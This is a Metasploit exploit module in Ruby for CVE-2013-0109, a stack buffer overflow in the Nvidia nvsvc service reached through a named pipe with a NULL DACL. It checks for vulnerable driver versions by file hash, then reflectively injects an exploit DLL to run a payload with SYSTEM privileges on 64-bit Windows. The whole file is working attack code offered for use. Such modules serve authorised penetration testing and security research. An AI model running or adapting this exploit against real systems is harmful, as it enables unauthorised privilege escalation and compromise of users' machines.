## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = AverageRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection include Msf::Post::Windows::Services def initialize(info = {}) super( update_info( info, { 'Name' => 'Nvidia (nvsvc) Display Driver Service Local Privilege Escalation', 'Description' => %q{ The named pipe, \pipe\nsvr, has a NULL DACL allowing any authenticated user to interact with the service. It contains a stacked based buffer overflow as a result of a memmove operation. Note the slight spelling differences: the executable is 'nvvsvc.exe', the service name is 'nvsvc', and the named pipe is 'nsvr'. This exploit automatically targets nvvsvc.exe versions dated Nov 3 2011, Aug 30 2012, and Dec 1 2012. It has been tested on Windows 7 64-bit against nvvsvc.exe dated Dec 1 2012. }, 'License' => MSF_LICENSE, 'Author' => [ 'Peter Wintersmith', # Original exploit 'Ben Campbell', # Metasploit integration ], 'Arch' => ARCH_X64, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows x64', {} ] ], 'Payload' => { 'Space' => 2048, 'DisableNops' => true, 'BadChars' => "\x00" }, 'References' => [ [ 'CVE', '2013-0109' ], [ 'OSVDB', '88745' ], [ 'URL', 'http://nvidia.custhelp.com/app/answers/detail/a_id/3288' ], ], 'DisclosureDate' => '2012-12-25', 'DefaultTarget' => 0, 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_fs_md5 ] } }, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } } ) ) end def check vuln_hashes = [ '43f91595049de14c4b61d1e76436164f', '3947ad5d03e6abcce037801162fdb90d', '3341d2c91989bc87c3c0baa97c27253b' ] if session.platform == 'windows' svc = service_info 'nvsvc' if svc && svc[:display] =~ (/NVIDIA/i) vprint_good("Found service '#{svc[:display]}'") begin if is_running? vprint_good('Service is running') else vprint_error('Service is not running!') end rescue RuntimeError vprint_error('Unable to retrieve service status') return Exploit::CheckCode::Unknown end path = svc[:path].gsub('"', '').strip if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 path.gsub!('system32', 'sysnative') end begin hash = client.fs.file.md5(path).unpack('H*').first rescue Rex::Post::Meterpreter::RequestError => e print_error("Error checking file hash: #{e}") return Exploit::CheckCode::Detected end if vuln_hashes.include?(hash) vprint_good("Hash '#{hash}' is listed as vulnerable") return Exploit::CheckCode::Vulnerable else vprint_status("Hash '#{hash}' is not recorded as vulnerable") return Exploit::CheckCode::Detected end else return Exploit::CheckCode::Safe end end end def is_running? status = service_status('nvsvc') return (status and status[:state] == 4) rescue RuntimeError print_error('Unable to retrieve service status') return false end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end unless check == Exploit::CheckCode::Vulnerable fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end print_status('Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...') # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2013-0109', 'nvidia_nvsvc.x86.dll') encoded_payload = payload.encoded # Forceably run the a 32-bit process because our payload is 32-bit even though # we're running on x64. execute_dll(library_path, encoded_payload) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end